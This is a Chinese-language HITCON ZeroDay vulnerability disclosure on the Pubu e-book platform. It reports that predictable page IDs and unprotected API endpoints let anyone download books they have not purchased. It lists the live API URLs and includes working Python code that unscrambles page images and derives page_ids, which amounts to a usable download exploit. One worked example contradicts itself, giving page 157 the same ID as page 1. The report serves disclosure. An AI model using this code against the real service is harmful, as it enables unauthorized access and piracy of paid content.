Pubu 存取控管漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2023-00144
  •  發信 Vendor: 湛天創新科技股份有限公司
  • Title: Pubu 存取控管漏洞
  • Introduction: 電子書籍資料的隨機ID可被預測,且API無存取控管導致電子書可在未購買的情況下下載。

處理狀態

目前狀態

公開
Last Update : 2023/05/25
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2023/03/25 01:25:36 : 新提交 (由 Joey Wang 更新此狀態)
  • 2023/04/01 13:52:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 12:57:17 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 12:57:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/04/24 12:57:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2023/05/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2023-00144
  • 通報者:joeywang4 (Joey Wang)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.pubu.com.tw/api/flex/3.0/book/{book_id}?referralType=ORDER_ITEM
https://www.pubu.com.tw/api/flex/3.0/page/{page_id}/1/reader/jpg?productId=1

敘述

透過第一個網址,將book_id替代為書本編號(可在書籍的公開頁面取得),即可得到書本的試閱內容。以編號111111的書本為例,取得到的試閱內容如下:

<Map>
    <book>
        <pages>
            <pageNumber>1</pageNumber>
            <id>778318947413020991</id>
            <version>0</version>
        </pages>
        <pages>
            <pageNumber>2</pageNumber>
            <id>074328047436514951</id>
            <version>0</version>
        </pages>
        <pages>
            <pageNumber>3</pageNumber>
            <id>270368744439149911</id>
            <version>0</version>
        </pages>
        ...
        <totalPage>157</totalPage>
        <hasPermission>false</hasPermission>
        <documentId>107305</documentId>
        <title>Fate/strange Fake (2)</title>
        <storeId>2716386</storeId>
        <direction>1</direction>
    </book>
    <isLogged>false</isLogged>
    <key>1DAB29BF19DC7479E00F2C3B23BA4A55</key>
</Map>

其中的Map/book/pages/id為電子書中每一頁的編號,使用這個編號再透過第二個網址就可以取得書籍內容圖檔(經過隨機排列)。例如,以第一頁的編號透過第二個網址可以取得以下內容:

https://d3rhh0yz0hi1gj.cloudfront.net/docs/107305/x3Ud3L.jpg

雖然圖檔有被隨機排列,但根據網頁前端JavaScript程式碼中的邏輯(decodenewDecode),只需要上述試閱內容中的Map/book/documentId以及頁碼編號即可將圖片還原。還原圖片的程式碼如下:

from PIL import Image

def convert(img_name, documentId, pagenum):
    im = Image.open(img_name)
    new_im = Image.new(im.mode, im.size)
    w, h = im.size[0] // 3, im.size[1] // 3

    imghashmapX = [1, 2, 0, 0, 1, 2, 2, 0, 1]
    imghashmapY = [2, 0, 1, 0, 1, 2, 1, 2, 0]
    offset = documentId * 5 + pagenum * 4

    for i in range(9):
        idx = (i + offset) % 9
        x, y = imghashmapX[idx] * w, imghashmapY[idx] * h
        out_x, out_y = (i % 3) * w, (i // 3) * h
        box = (x, y, x + w, y + h)
        region = im.crop(box)
        new_im.paste(region, (out_x, out_y))

    new_im.save(img_name)

def convert2(img_name):
    im = Image.open(img_name)
    new_im = Image.new(im.mode, im.size)
    w, h = im.size[0] // 3, im.size[1] // 3

    imghashmapX = [1, 0, 2]
    imghashmapY = [2, 0, 1]

    for i in range(9):
        x, y = (i % 3) * w, (i // 3) * h
        out_x, out_y = imghashmapX[i % 3] * w, imghashmapY[i // 3] * h
        box = (x, y, x + w, y + h)
        region = im.crop(box)
        new_im.paste(region, (out_x, out_y))

    new_im.save(img_name)

(編號111111的書本需使用convert2函數進行還原)

因此,只要能夠取得書本中每一頁的編號(page_id)就能將書本下載下來。

雖然page_id中的編號看似是亂數,但透過第二個網址的錯誤資訊,可以推測出page_id的產生方式為簡單的乘法與加法,再將數字進行替換並調換順序之後,最後加上一些無意義的亂數。透過以下的程式碼可以將page_id替換為實際編號。

import math

def to_real_id(input_id):
    d = {
        "1": "1",
        "2": "4",
        "3": "0",
        "4": "8",
        "5": "9",
        "6": "2",
        "7": "5",
        "8": "7",
        "9": "3",
        "0": "6"
    }
    input_id = input_id[1::2]
    str_id = input_id[-2:] + input_id[:-2]
    out = ""
    for c in str_id:
        if c in d:
            out += d[c]
        else:
            out += c
    return math.ceil((int(out) - 21) / 17)

經過轉換之後,以編號111111的書本為例,第一頁的編號會轉換成18534047,第二頁會變成18534048,以此類推。因此,第x頁的編號是18534046 + x,只要將此編號反推回page_id就可以得到第x頁的內容。以下為回推出page_id的程式碼:

def to_input(real_id):
    d = {
        "1": "1",
        "4": "2",
        "0": "3",
        "8": "4",
        "9": "5",
        "2": "6",
        "5": "7",
        "7": "8",
        "3": "9",
        "6": "0"
    }
    str_id = str(real_id * 17 + 5)
    out = ""
    for c in str_id:
        out += "0" + d[c]
    return out[4:] + out[:4]

以第157頁為例,此頁的編號為18534047,經過轉換後的page_id070304010207000901,透過第二個網址可以得到書籍的圖片網址,還原後就是原始書籍內容。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;